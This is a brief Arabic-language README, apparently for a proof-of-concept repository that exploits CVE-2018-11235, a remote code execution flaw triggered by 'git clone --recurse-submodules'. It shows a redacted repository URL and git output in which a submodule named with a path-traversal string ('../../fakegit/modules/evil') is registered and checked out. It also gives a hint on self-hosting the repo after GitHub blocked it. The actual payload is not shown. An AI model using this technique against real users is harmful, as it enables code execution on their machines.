
استغلال إثبات المفهوم لـ CVE-2018-11235 يسمح بـ RCE على git clone --recurse-submodules
==============================
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
نظرًا لأن GitHub يمنعني من رفع الـ PoC
عليك استضافة مستودعك الخاص، تمكنت من فعل ذلك عن طريق إنشاء مستودع محلي باستخدام git init . --bare